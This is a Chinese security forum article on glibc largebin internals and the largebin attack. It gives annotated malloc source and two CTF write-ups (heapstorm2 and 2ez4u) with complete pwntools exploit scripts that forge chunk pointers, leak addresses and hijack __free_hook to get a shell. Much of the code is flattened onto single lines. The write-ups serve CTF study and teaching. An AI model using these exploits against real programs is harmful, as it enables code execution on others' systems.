查看原文
其他

Largebin attack总结

Ta1pax0s 看雪学苑 2022-07-01

本文为看雪论精华文章

看雪论坛作者ID:Ta1pax0s





largebin管理思想概览


当chunk被插入unsortedbin的时候,如果我们再去申请,此时从unsortedbin末尾开始遍历,倘若遍历到的不符合我们的要求大小,那么系统会做sorted——重新把这个chunk放入smallbin或者largebin:


#define in_smallbin_range(sz) ((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE)
#define NSMALLBINS 64#define SMALLBIN_WIDTH MALLOC_ALIGNMENT#define SMALLBIN_CORRECTION (MALLOC_ALIGNMENT > 2 * SIZE_SZ)#define MIN_LARGE_SIZE ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH)


64位系统中大于0x400的为largebin范围,32位大于0x200(不带tcache)。


fd_nextsize指向比他小的最大的chunk,bk_nextsize指向比他大的最小的chunk(不同索引的largebin),并且是首位循环连接。


largebin中不只有一条链,有,而且很复杂。

largebin中size与index的对应如下:

size index[0x400 , 0x440) 64[0x440 , 0x480) 65[0x480 , 0x4C0) 66[0x4C0 , 0x500) 67[0x500 , 0x540) 68等差 0x40 …[0xC00 , 0xC40) 96[0xC40 , 0xE00) 97[0xE00 , 0x1000) 98[0x1000 , 0x1200) 99[0x1200 , 0x1400) 100[0x1400 , 0x1600) 101等差 0x200 …[0x2800 , 0x2A00) 111[0x2A00 , 0x3000) 112[0x3000 , 0x4000) 113[0x4000 , 0x5000) 114等差 0x1000 …[0x9000 , 0xA000) 119[0xA000 , 0x10000) 120[0x10000 , 0x18000) 121[0x18000 , 0x20000) 122[0x20000 , 0x28000) 123[0x28000 , 0x40000) 124[0x40000 , 0x80000) 125[0x80000 , …. ) 126

largebin管理的是一个范围区间的堆块,此时fd_nextsize与bk_nextsize就派上了用场。

 

大小对应相同index中的堆块,其在链表中的排序方式为:

  • 堆块从大到小排序。
  • 对于相同大小的堆块,最先释放的堆块会成为堆头,其fd_nextsize与bk_nextsize会被赋值,其余的堆块释放后都会插入到该堆头结点的下一个结点,通过fd与bk链接,形成了先释放的在链表后面的排序方式,且其fd_nextsize与bk_nextsize都为0。
  • 不同大小的堆块通过堆头串联,即堆头中fd_nextsize指向比它小的堆块的堆头,bk_nextsize指向比它大的堆块的堆头,从而形成了第一点中的从大到小排序堆块的方式。同时最大的堆块的堆头的bk_nextsize指向最小的堆块的堆头,最小堆块的堆头的fd_nextsize指向最大堆块的堆头,以此形成循环双链表。





源码分析


宏define __builtin_expect:


# define __builtin_expect(expr, val) (expr)


貌似就是取expr表达式的值。


宏bin_at


#define bin_at(m, i) \ (mbinptr) (((char *) &((m)->bins[((i) - 1) * 2])) \ - offsetof (struct malloc_chunk, fd))


宏 bin_at(m, i) 通过 bin index 获得 bin 的链表头,m 指的是分配区,i 是索引。


宏mark_bin


#define mark_bin(m, i) ((m)->binmap[idx2block (i)] |= idx2bit (i))


mark_bin 设置第 i 个 bin 在 binmap 中对应的 bit 位为 1


bitmap


#define NBINS 128#define BINMAPSHIFT 5#define BITSPERMAP (1U << BINMAPSHIFT) // 32#define BINMAPSIZE (NBINS / BITSPERMAP)// 128 / 32 = 4unsigned int binmap[BINMAPSIZE]; // 32b * 4 = 128b


一共有 128 个 bin,0 和 127 不算,也就是有 126 个 bin,其中第一个 bin 是 unsorted_bin。

 

binmap 字段是一个 int 数组,ptmalloc 用一个 bit 来标识该 bit 对应的 bin 中是否包含空闲 chunk。


largebin的插入相关操作


/* place chunk in bin */
if (in_smallbin_range (size)) //如果是smallbin的大小就放到smallbin { victim_index = smallbin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; } else //如果是largebin的大小,那么: { victim_index = largebin_index (size);//根据size获取对应的largebin索引 bck = bin_at (av, victim_index); //获取largebin表头 fwd = bck->fd; //获取对应索引largebin的第一个chunk(循环链表的head->next)
/* maintain large bins in sorted order */ if (fwd != bck) //当第一个不等于最后一个(即当前的largebin不空) { /* Or with inuse bit to speed comparisons */ size |= PREV_INUSE; /* if smaller than smallest, bypass loop below */ assert (chunk_main_arena (bck->bk)); //是否在main_arena?(主线程) if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))//bck->bk储存的是当前索引的largebin中大小最小的chunk,如果我们要插入的chunk比这个大小还小,那么就要插入largebin的尾部。 { fwd = bck; //fwd此时为largebin表头 bck = bck->bk; //bck设置为largebin中最后一个的chunk
victim->fd_nextsize = fwd->fd;//由于我们要插入的在末尾,比他小的就是循环回去的第一个chunk victim->bk_nextsize = fwd->fd->bk_nextsize;//比他大的就是之前的最小的那个
//原来链表的第一个chunk的bk指向此时新插入的最后一个chunk fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; }
// 如果不是插入尾部,那么我们要找到这个chunk应该插入的位置 else { assert (chunk_main_arena (fwd)); //使用这个while循环尝试从链表头部开始遍历,直到找到一个比victim大或等于的chunk退出while while ((unsigned long) size < chunksize_nomask (fwd)) { fwd = fwd->fd_nextsize; //取下一个 assert (chunk_main_arena (fwd));//检查分配区 }
//如果找到了跟他想等的 if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd)) /* Always insert in the second position. */ fwd = fwd->fd;//直接将victim插入他的后面(通过fd),不修改nextsize指针。
//如果大小不一样(即此时fwd是相邻的大于victim的chunk) //需要构造nextsize双向链表,构造新节点,victim作为堆头 else { //比victim小的指向fwd //比victim大的指向fwd的bk_nextsize(比fwd大的那个) //相当于插入了fwd与fwd->bk_nextsize之间 victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize;
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))//检查size链完整性 malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)"); //对应的去改fwd的相关指针成链 fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; //插入完成 }
bck = fwd->bk; if (bck->fd != fwd) malloc_printerr ("malloc(): largebin double linked list corrupted (bk)"); } } else victim->fd_nextsize = victim->bk_nextsize = victim;//此时victim为唯一的chunk,也要做循环链表 } //放到对应的 bin 中,构成 bk<-->victim<-->fwd。 mark_bin (av, victim_index); //标识bitmap victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;


贴一下插入过程大佬的总结:


1. 找到当前要插入的chunk对应的largebin的index,并定位该index中的最小的chunkbck和最大的chunkfwd。


2. 如果fwd等于bck,表明当前链表为空,则直接将该chunk插入,并设置该chunk为该大小堆块的堆头,将bk_nextsize和fd_nextsize赋值为它本身。


3. 如果fwd不等于bck,表明当前链表已经存在chunk,要做的就是找到当前chunk对应的位置将其插入。首先判断其大小是否小于最小chunk的size,(size) < (bck->bk->size),如果小于则说明该chunk为当前链表中最小的chunk,即插入位置在链表末尾,无需遍历链表,直接插入到链表的末尾,且该chunk没有对应的堆头,设置该chunk为相应堆大小堆的堆头,将bk_nextsize指向比它大的堆头,fd_nextsize指向双链表的第一个节点即最大的堆头。


4. 如果当前chunk的size不是最小的chunk,则从双链表的第一个节点即最大的chunk的堆头开始遍历,通过fd_nextsize进行遍历,由于fd_nextsize指向的是比当前堆头小的堆头,因此可以加快遍历速度。直到找到小于等于要插入的chunk的size。


5. 如果找到的chunk的size等于要插入chunk的size,则说明当前要插入的chunk的size已经存在堆头,那么只需将该chunk插入到堆头的下一个节点。


6. 如果找到的chunk的size小于当前要插入chunk的size,则说明当前插入的chunk不存在堆头,因此该chunk会成为堆头插入到该位置,设置fd_nextsize与bk_nextsize。


largebin的取出相关操作


/* If a large request, scan through the chunks of current bin in sorted order to find smallest that fits. Use the skip list for this. */ if (!in_smallbin_range (nb))//如果不在samllbin大小中 { bin = bin_at (av, idx); //找到申请的size对应的largebin链表
/* skip scan if empty or largest chunk is too small */ if ((victim = first (bin)) != bin && //此时victim为链表的第一个节点 (unsigned long) (victim->size) >= (unsigned long) (nb)) //第一步,判断链表的第一个结点,即最大的chunk是否大于要申请的size { //进入这里时,已经确定链表第一个节点——即最大的chunk大于要申请的size,那么我们就应该从这一条链中取,问题就是取这一条链上的哪一个? victim = victim->bk_nextsize; //本来victim是链中最大的那个,现在我们要从小往遍历,那么victim->bk_nextsize就循环回了链中最小的那个 while (((unsigned long) (size = chunksize (victim)) < (unsigned long) (nb))) //第二步,从最小的chunk开始,反向遍历 chunk size链表,直到找到第一个大于等于所需chunk大小的chunk退出循环 victim = victim->bk_nextsize;//victim取相邻的更大size的chunk
/* Avoid removing the first entry for a size so that the skip list does not have to be rerouted. */ if (victim != last (bin) && victim->size == victim->fd->size) //第三步,申请的chunk对应的chunk存在多个结点,则申请相应堆头的下个结点,不申请堆头。 victim = victim->fd; //出现相同大小时堆头作为次优先申请
remainder_size = size - nb; unlink (av, victim, bck, fwd); //第四步,largebin unlink 操作
/* Exhaust */ if (remainder_size < MINSIZE) //第五步,如果剩余的空间小于MINSIZE,则将该空间直接给用户 { set_inuse_bit_at_offset (victim, size); if (av != &main_arena) victim->size |= NON_MAIN_ARENA; } /* Split */ else { remainder = chunk_at_offset (victim, nb); //第六步,如果当前剩余空间还可以构成chunk,则将剩余的空间放入到unsorted bin中(切割后)。
/* We cannot assume the unsorted list is empty and therefore have to perform a complete insert here. */ bck = unsorted_chunks (av);//bck是ub头 fwd = bck->fd; //fwd是ub第一个chunk if (__glibc_unlikely (fwd->bk != bck)) { errstr = "malloc(): corrupted unsorted chunks"; goto errout; } remainder->bk = bck; remainder->fd = fwd; bck->fd = remainder; fwd->bk = remainder; //以上操作完成后lastremainder被插入ub,成为新的链首元素 //如果不在smallbin范围,那么nextsize指针置空 if (!in_smallbin_range (remainder_size)) { remainder->fd_nextsize = NULL; remainder->bk_nextsize = NULL; }
set_head (victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); set_head (remainder, remainder_size | PREV_INUSE); set_foot (remainder, remainder_size); } check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } }


贴一下申请过程大佬的总结:


1. 找到当前要申请的空间对应的largebin链表,判断第一个结点即最大结点的大小是否大于要申请的空间,如果小于则说明largebin中没有合适的堆块,需采用其他分配方式。


2. 如果当前largebin中存在合适的堆块,则从最小堆块开始,通过bk_nextsize反向遍历链表,找到大于等于当前申请空间的结点。


3. 为减少操作,判断找到的相应结点(堆头)的下个结点是否是相同大小的堆块,如果是的话,将目标设置为该堆头的第二个结点,以此减少将fd_nextsize与bk_nextsize赋值的操作。


4. 调用unlink将目标largebin chunk从双链表中取下。


5. 判断剩余空间是否小于MINSIZE,如果小于直接返回给用户。


6. 否则将剩余的空间构成新的chunk放入到unsorted bin中。


伪造Largebin的bk_nextsize(取出时)


if ((victim = first (bin)) != bin && (unsigned long) (victim->size) >= (unsigned long) (nb)) //判断链表的第一个结点,即最大的chunk是否大于要申请的size { victim = victim->bk_nextsize; while (((unsigned long) (size = chunksize (victim)) < (unsigned long) (nb))) //从最小的chunk开始,反向遍历 chunk size链表,直到找到第一个大于等于所需chunk大小的chunk退出循环 victim = victim->bk_nextsize; //漏洞点,伪造bk_nextsize
if (victim != last (bin) && victim->size == victim->fd->size) //申请的chunk对应的chunk存在多个结点,则申请相应堆头的下个结点,不申请堆头。 victim = victim->fd;
remainder_size = size - nb; unlink (av, victim, bck, fwd); //largebin unlink 操作
... return p;


当利用bk_nextsize反向遍历双链表时,如果我们可以伪造堆头节点的bk_nextsize,让其指向一个evil内存地址,然后我们 在evil_addr上构造了相应的数据以通过unlink,会将该空间返回申请到非预期的内存。

 

绕过unlink最简单 的就是fd与bk按照smallbin的unlink方式设置,然后两个nextsize指针都为null。

 

下面贴上大佬的解释:

 

问题出现在通过bk_nextsize反向遍历双链表的过程,如果能够伪造某个堆头结点中的bk_nextsize,将其指向非预期的内存地址,构造好数据使得非预期内存地址在通过unlink的检查之后,会将该空间返回给用户,最终使得可以申请出非预期的内存。最常见的就是用它来构造overlap chunk。

 

至于绕过unlink的检查,我认为最好的方式就是伪造的内存空间将fd与bk按照smallbinunlink的利用方式设置,而将bk_nextsize和fd_nextsize设置成0,这样就不会对这两个字段进行操作了。

 

典型的应用场景为:存在四个堆ABCD,largebin中存在链表A->B,其中A为0x420,B为0x400,C为0x410,C未释放。将B的bk_nextsize伪造指向C,同时将C的fd与bk构造好,将C的fd_nextsize与bk_nextsize赋值为0,当再次申请0x410大小的内存E时,遍历B->bk_nextsize会指向C,且C的大小满足需求,因此会调用unlink将C从双链表取下,因此申请出来的堆块E的地址会为C的地址,即E和C为同一内存块,实现overlap chunk的构造。


伪造largebin的bk_nextsize以及bk(插入largebin时)


...//将largebin从unsorted bin中取下 unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av);
...

//如果大小不一样(即此时fwd是相邻的大于victim的chunk) //需要构造nextsize双向链表,构造新节点,victim作为堆头 //否则这个chunk将会成为堆头,`bk_nextsize`和`fd_nextsize`将被置位 //比victim小的指向fwd(fd_nextsize) //比victim大的指向fwd的bk_nextsize(比fwd大的那个) //相当于插入了fwd与fwd->bk_nextsize之间 victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; //由于fwd->bk_nextsize可控,因此victim->bk_nextsize可控 fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; //victim->bk_nextsize可控,因此实现了往任意地址写victim的能力 } bck = fwd->bk; //由于fwd->bk可控,因此bck可控 ...
mark_bin (av, victim_index); //设置fd与bk完成插入 victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim; //bck可控,因此实现了往任意地址写victim的能力 ... }





例题1:0ctf_2018_heapstorm2
(插入时攻击)



本题是典型的house of storm,可以做一个任意写+一个任意申请,威力还是相当给力的。


题目概览


if ( !mallopt(1, 0) ) exit(-1);


mallopt(M_MXFAST,0)将global_max_fast设置为0,这个值的意思是最大为多大的chunk归fastbin管理,设置为0表示这个程序中不再存在fastbin。即本程序禁用了fastbin。

在edit函数中有一个off-by-null:

剩下的就是一个常用的uaf。


攻击过程


首先我们造两个overlap到unsortedbin里。(overlap的过程我就先不说了,可以做前向合并可以做后向合并)


unsortbin: 0x100203060 (size : 0x4f0) <--> 0x1002035c0 (size : 0x4e0)


然后我们add(0x4e8),从unsortedbin的尾部向前遍历,将size为0x4e0的放入largebin,返回size为0x4f0的:


unsortbin: 0x0largebin[ 3]: 0x1002035c0 (size : 0x4e0)


然后再把0x4e8的放进unsortedbin:


unsortbin: 0x100203060 (size : 0x4f0)largebin[ 3]: 0x1002035c0 (size : 0x4e0)


此时largebin中的chunk是大于unsortedbin中的chunk的,那么fwd此时就应该指向0x1002035c0这一个chunk,victim是unsortedbin中的chunk。

 

我们再进行如下操作:


storge = 0x13370800fake_chunk = storge-0x20p1 = p64(0)*3+p64(0x4f1)+p64(0)+p64(fake_chunk)edit(7,p1) # 劫持unsortfbin中chunk的bk指针指向fakechunk
p2 = p64(0)*4+p64(0)+p64(0x4e1)p2 += p64(0)+p64(fake_chunk+8) # 劫持在largebin中chunk的bk指针避免unlink时崩溃p2 += p64(0)+p64(fake_chunk-0x18-5) # 劫持在largebin中chunk的bk_nextsize指针edit(8,p2)


此时unsortedbin中的chunk的bk指针被劫持指向我们的fakechunk,如果我们再add(0x48)时,程序首先在fastbin和smallbin中找空闲的chunk,但是没有,于是去unsortedbin中找,第一次找到大小为0x4f0的,这个大小肯定是不对的,但是检测到unsortedbin中还有一个chunk(即我们劫持bk指针后指向的fakechunk)并不会对大小为0x4f0的chunk做切割,而是直接做sorted,即插入largebin(此时触发largebin attack给fakechunk写上一个size)。


然后系统顺着我们劫持的bk指针找,找到了我们的fakechunk,此时的fakechunk是有size的,然后系统去检验他的size,发现除去标志位刚好是0x50,那么就把fake chunk返回给我们。

然后add一次0x48(由于calloc的检查,此处被错位写上去的size必须要是0x56,多爆破几次)。

 

除去标志位0x56就是0x50了,我们申请0x48,会返回这个fake_chunk


add(0x48) # 2,largebin attack触发

然后我们写一个while爆破一下:

可以看到此时爆破成功,我们通过修改表中相关内容:


p3 = p64(0)*5+p64(0x13377331)+p64(storage)edit(2,p3)


来bypass掉show时候的验证:


if ( (chunk_list[1].size ^ chunk_list[1].addr) != 0x13377331 ) return puts("Permission denied");


此时就可以正常使用show了。


# encoding=utf-8from pwn import *from LibcSearcher import *s = lambda buf: io.send(buf)sl = lambda buf: io.sendline(buf)sa = lambda delim, buf: io.sendafter(delim, buf)sal = lambda delim, buf: io.sendlineafter(delim, buf)shell = lambda: io.interactive()r = lambda n=None: io.recv(n)ra = lambda t=tube.forever:io.recvall(t)ru = lambda delim: io.recvuntil(delim)rl = lambda: io.recvline()rls = lambda n=2**20: io.recvlines(n)
libc_path = "/lib/x86_64-linux-gnu/libc-2.23.so"elf_path = "./0ctf_2018_heapstorm2"libc = ELF(libc_path)elf = ELF(elf_path)#io = remote("node3.buuoj.cn",26000)if sys.argv[1]=='1': context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')elif sys.argv[1]=='0': context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')#io = process([elf_path],env={"LD_PRELOAD":libc_path})



cho='Command: ' # choice提示语siz='Size: ' # size输入提示语con='Content: ' # content输入提示语ind='Index: ' # index输入提示语edi='' # edit输入提示语def add(size,c='1'): sal(cho,c) sal(siz,str(size))def free(index,c='3'): sal(cho,c) sal(ind,str(index))def show(index,c='4'): sal(cho,c) sal(ind,str(index))def edit(index,content='',c='2'): sal(cho,c) sal(ind,str(index)) sal(siz,str(len(content))) sa(con,content)# 获取pie基地址def get_proc_base(p): proc_base = p.libs()[p._cwd+p.argv[0].strip('.')] info(hex(proc_base))
# 获取libc基地址 def get_libc_base(p): libc_base = p.libs()[libc_path] info(hex(libc_base))


while(1): try: # get_proc_base(io) # get_libc_base(io) global io io = process(elf_path) #io = remote("node3.buuoj.cn",29327) add(0x18) # 0 add(0x508) # 1 add(0x18) # 2 edit(1,'a'*0x4f0+p64(0x500)) # 设置fake_pre_size
add(0x18) # 3 add(0x508) # 4 add(0x18) # 5 edit(4,'a'*0x4f0+p64(0x500)) # 设置fake_pre_size
add(0x18) # 6 free(1) edit(0,'a'*(0x18-0xc)) # 对free后的1做off-by-null,造成chunk收缩
add(0x18) # 1 add(0x4d8) # 7 # 将0ff-by-null收缩后的freechunk分两次申请出来
free(1) free(2) # 触发后向合并:0x508+0x18
# 将合并后大小为0x538的freechunk重新构造成0x38和0x4e8 add(0x38) # 1 add(0x4e8) # 2
free(4) edit(3,'a'*(0x18-12)) add(0x18) # 4 add(0x4d8) # 8 free(4) free(5) # 后向合并造出0x530的freechunk add(0x48) # 4
free(2) # unsortbin: 0x100203060 (size : 0x4f0) <--> 0x1002035c0 (size : 0x4e0) add(0x4e8) # 2 free(2) # 把0x4f0的放回到unsortedbin


storage = 0x13370800 fake_chunk = storage-0x20 p1 = p64(0)*3+p64(0x4f1)+p64(0)+p64(fake_chunk) edit(7,p1) # 劫持unsortfbin中chunk的bk指针指向fakechunk
p2 = p64(0)*4+p64(0)+p64(0x4e1) p2 += p64(0)+p64(fake_chunk+8) # 劫持在largebin中chunk的bk指针避免unlink时崩溃 p2 += p64(0)+p64(fake_chunk-0x18-4) # 劫持在largebin中chunk的bk_nextsize指针 edit(8,p2)

add(0x48) # 2,largebin attack触发,返回我们伪造位置的节点

p3 = p64(0)*5+p64(0x13377331)+p64(storage)#构造show函数的条件 edit(2,p3)
pause() p4 = p64(0)*3+p64(0x13377331)+p64(storage)+p64(0x1000)+p64(storage-0x20+3)+p64(8) edit(0,p4) # 重新回写table,改掉对应表项为真实的ptr-size,而非异或后的,同时改那表头四个随机数为0,这样我们在xor的时候返回的就是地址/size真正的值了。
show(1) # 输出我们largebin attack错位写在fakechunk上的地址来那道heap地址 r(11) heap = u64(r(5).ljust(8,'\x00')) info("heap:"+hex(heap))


p5 = p64(0)*3+p64(0x13377331)+p64(storage)+p64(0x1000)+p64(heap+0x10)+p64(8) #泄露main_arena edit(0,p5)
#shell() show(1)
libc_base = int(u64(ru('\x7f')[-6:].ljust(8,'\x00')))-88-libc.sym['__malloc_hook']-0x10
print hex(libc_base)
system = libc_base+libc.sym['system'] free_hook = libc_base+libc.sym['__free_hook'] print (hex(system),hex(free_hook)) p6 = p64(0)*3+p64(0x13377331)+p64(storage)+p64(0x1000)+p64(free_hook)+p64(0x1000)+p64(storage+0x50)+p64(0x100)+'/bin/sh\x00' edit(0,p6) edit(1,p64(system)) free(2) shell() pause() except Exception: io.close() continue





例题2:LCTF2017-2ez4u
(取出时攻击)



题目概览


1. uaf,并且free后连表中指针也不清空,可以edit和show;

2. show的时候从addr+0x18开始,刚好跳过了fd和bk指针,所以没法利用在unsortedbin里的show出来,而是需要拉入largebin用nextsize指针。

攻击过程


其实主要就是伪造一系列的结构,感觉这个比之前的那个要麻烦一些。

 

一开始的largebin情况如下:


largebin[ 0]: 0xdf51549c30 (size : 0x410) <--> 0xdf515497e0 (size : 0x400)


以下这张图充分还原了largebin的攻击过程,达到一次任意地址申请+overlap:

我们再将两个0x80的放入fastbin连接起来:


free(6)free(3)# 把两个0x80大小的放进fastbin


gdb-peda$ heapinfo(0x20) fastbin[0]: 0x0(0x30) fastbin[1]: 0x0(0x40) fastbin[2]: 0x0(0x50) fastbin[3]: 0x0(0x60) fastbin[4]: 0x0(0x70) fastbin[5]: 0x0(0x80) fastbin[6]: 0x8f90b03180 --> 0x8f90b03300 --> 0x0 #此时偏移为0x180的chunk有指向0x300的指针(0x90) fastbin[7]: 0x0(0xa0) fastbin[8]: 0x0(0xb0) fastbin[9]: 0x0 top: 0x8f90b044b0 (size : 0x1fb50) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0(0x080) smallbin[ 6]: 0x8f90b03000 largebin[ 0]: 0x8f90b03c30 (invaild memory)


当我们再进行一次add的时候:首先把fastbin中的chunk放入smallbin;然后触发largebin attack申请出我们伪造的fakechunk。


add(0x3f0,'b'*0x30+p64(0xdeadbeefdeadbeef))# deadbeaf是用来填充size的,防止输出的时候00截断


效果如下:


(0x080) smallbin[ 6]: 0xb4d2f9b300 <--> 0xb4d2f9b180 (size error (0xdeadbeefdeadbee8)) <--> 0xb4d2f9b00


0x4fe6dfe040: 0x0000040000000001 0x0000004fe6e000a00x4fe6dfe050: 0x0000006000000001 0x0000004fe6dff0900x4fe6dfe060: 0x0000006000000001 0x0000004fe6dff1100x4fe6dfe070: 0x000003f000000001 0x0000004fe6dff140 <-----可以看到已经把fakechunk申请出来了


smallbin也是头插尾取,再add一次,取出smallbin的最后一个:


add(0x60,'6'*0x60)


(0x080) smallbin[ 6]: 0xda50dfb300 <--> 0xda50dfb180 (size error (0xdeadbeefdeadbee8)) largebin[ 0]: 0xda50dfbc30 (invaild memory)


此时在smallbin中的chunk里有指向main_arena的指针,且这个chunk刚好在我们的fakechunk下面不远,直接可以show出来:

之后我们手动恢复chunk结构。

 

最后使用fastbin attack劫持unsortbin中的top chunk指向free_hook-0xb58,然后改freehook为system。


from pwn import *from ctypes import c_uint32
context.terminal = '/bin/zsh'context.arch = 'x86-64'context.os = 'linux'context.log_level = 'info'


io = process("./2ez4u")

def add(l, desc): io.recvuntil('your choice:') io.sendline('1') io.recvuntil('color?(0:red, 1:green):') io.sendline('0') io.recvuntil('value?(0-999):') io.sendline('0') io.recvuntil('num?(0-16)') io.sendline('0') io.recvuntil('description length?(1-1024):') io.sendline(str(l)) io.recvuntil('description of the apple:') io.sendline(desc) pass
def dele(idx): io.recvuntil('your choice:') io.sendline('2') io.recvuntil('which?(0-15):') io.sendline(str(idx)) pass
def edit(idx, desc): io.recvuntil('your choice:') io.sendline('3') io.recvuntil('which?(0-15):') io.sendline(str(idx)) io.recvuntil('color?(0:red, 1:green):') io.sendline('2') io.recvuntil('value?(0-999):') io.sendline('1000') io.recvuntil('num?(0-16)') io.sendline('17') io.recvuntil('new description of the apple:') io.sendline(desc) pass
def show(idx): io.recvuntil('your choice:') io.sendline('4') io.recvuntil('which?(0-15):') io.sendline(str(idx)) pass
add(0x60, '0'*0x60 ) #0add(0x60, '1'*0x60 ) #1add(0x60, '2'*0x60 ) #2add(0x60, '3'*0x60 ) #3add(0x60, '4'*0x60 ) #4add(0x60, '5'*0x60 ) #5add(0x60, '6'*0x60 ) #6
add(0x3f0, '7'*0x3f0) #7 playgroundadd(0x30, '8'*0x30 ) #8add(0x3e0, '9'*0x3d0) #9 supadd(0x30, 'a'*0x30 ) #0xaadd(0x3f0, 'b'*0x3e0) #0xb victimadd(0x30, 'c'*0x30 ) #0xc
dele(0x9)dele(0xb)dele(0x0)

add(0x400, '0'*0x400)
# leakshow(0xb)io.recvuntil('num: ')print(hex(c_uint32(int(io.recvline()[:-1])).value))
io.recvuntil('description:')HEAP = u64(io.recv(5).ljust(8,'\x00'))-0x7e0log.info("heap base 0x%016x" % HEAP)
target_addr = HEAP+0xb0 # 1chunk1_addr = HEAP+0x130 # 2chunk2_addr = HEAP+0x1b0 # 3victim_addr = HEAP+0xc30 # b
# large bin attackedit(0xb, p64(chunk1_addr)) # 劫持在latgebin中的victim的bk_nextsize指针指向:HEAP+0x130edit(0x1, p64(0x0)+p64(chunk1_addr)) # target构造unlink时的表结构
chunk2 = p64(0x0)chunk2 += p64(0x0)chunk2 += p64(0x421)chunk2 += p64(0x0)chunk2 += p64(0x0)chunk2 += p64(chunk1_addr)edit(0x3, chunk2) # chunk2
chunk1 = ''chunk1 += p64(0x0)chunk1 += p64(0x0)chunk1 += p64(0x411)chunk1 += p64(target_addr-0x18)chunk1 += p64(target_addr-0x10)chunk1 += p64(victim_addr)chunk1 += p64(chunk2_addr)
edit(0x2, chunk1) # chunk1
edit(0x7, '7'*0x198+p64(0x410)+p64(0x411))
dele(0x6)dele(0x3)add(0x3f0, '3'*0x30+p64(0xdeadbeefdeadbeef)) # 此时取出我们要攻击的处于largebin中的chunk,触发largebin attack,因为bk_nextsize指针已经被劫持,我们会申请到已经构造,布置好的fake chunk的位置,达到了任意地址申请的目的。add(0x60, '6'*0x60 ) #
show(0x3)# 3是我们用largebin attack申请到的chunk,大小伪造成0x410,puts的时候打印出了正常的下一chunk的main_arena+200io.recvuntil('3'*0x30)io.recv(8)LIBC = u64(io.recv(6)+'\x00\x00')-0x3c4be8log.info("libc base 0x%016x" % LIBC)
junk = flat( '\x03'*0x30, # 填充到之前由于防止00截断而被我们劫持的size p64(0x81), # 恢复0x81的size p64(LIBC+0x3c4be8), # main_arena+200,恢复smallbin的fd指针 p64(HEAP+0x300), # 恢复smallbin中chunk的bk指针)junk = junk.ljust(0xa8,'A')junk += p64(0x80)
recovery = ''recovery += junkrecovery += p64(0x80) # 0x4->sizerecovery += p64(0x60) # 0x4->fd
dele(0x5)dele(0x4)edit(0x3, recovery) # # 恢复chunk结构add(0x60, '4'*0x60 ) #
recovery = ''recovery += junkrecovery += p64(0x70) # 0x4->sizerecovery += p64(0x0) # 0x4->fdedit(0x3, recovery) # victim, start from HEAP+0x158
add(0x40, '5'*0x30 ) #
dele(0x5)
recovery = ''recovery += '3'*0x30recovery += p64(0x61)recovery += p64(LIBC+0x3c4b50)# 劫持处于fastbin中的chunk的fd指针指向main_arenaedit(0x3, recovery)pause()add(0x40, '5'*0x30 ) #
add(0x40, p64(LIBC+0x3c5c50)) # 申请到main_arena,劫持unsortedbin中的top chunk指向main arenapause()# recoveryedit(0xb, p64(HEAP+0x7e0))dele(0x6)

add(0x300, '\x00') #add(0x300, '\x00') #add(0x300, '\x00') #add(0x300, '\x00') #
dele(0x1)
add(0x300, '\x00'*0x1d0+p64(LIBC+0x4527a)) #pause()dele(15)
io.interactive()





番外篇——
关于fastbin的合并



合并时机


在申请large chunk时:


if (in_smallbin_range (nb)) //判断要申请的是否在smallbin范围 { idx = smallbin_index (nb); bin = bin_at (av, idx);
if ((victim = last (bin)) != bin) { if (victim == 0) /* initialization check */ malloc_consolidate (av); else { bck = victim->bk; if (__glibc_unlikely (bck->fd != victim)) { errstr = "malloc(): smallbin double linked list corrupted"; goto errout; } set_inuse_bit_at_offset (victim, nb); bin->bk = bck; bck->fd = bin;
if (av != &main_arena) victim->size |= NON_MAIN_ARENA; check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } } }else //不在smallbin而在largebin范围时 { idx = largebin_index (nb); if (have_fastchunks (av)) malloc_consolidate (av);//合并 }


一般结束后会放到smallbin中。


当申请的chunk需要申请新的top chunk时:


use_top: /* If large enough, split off the chunk bordering the end of memory (held in av->top). Note that this is in accord with the best-fit search rule. In effect, av->top is treated as larger (and thus less well fitting) than any other available chunk since it can be extended to be as large as necessary (up to system limitations).
We require that av->top always exists (i.e., has size >= MINSIZE) after initialization, so if it would otherwise be exhausted by current request, it is replenished. (The main reason for ensuring it exists is that we may need MINSIZE space to put in fenceposts in sysmalloc.) */
victim = av->top; size = chunksize (victim);
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) //top chunk是否满足我们下一次分配的需求? { remainder_size = size - nb; remainder = chunk_at_offset (victim, nb); av->top = remainder; set_head (victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); set_head (remainder, remainder_size | PREV_INUSE);
check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; }
/* When we are using atomic ops to free fast chunks we can get here for all block sizes. */ else if (have_fastchunks (av))//判断是否有fastbin的存在,如果存在fastbin,那么则进行合并 { malloc_consolidate (av); /* restore original bin index */ if (in_smallbin_range (nb))//匹配我们需要的大小nb在smallbin中或者largebin中是否有对应的 idx = smallbin_index (nb); else idx = largebin_index (nb); }
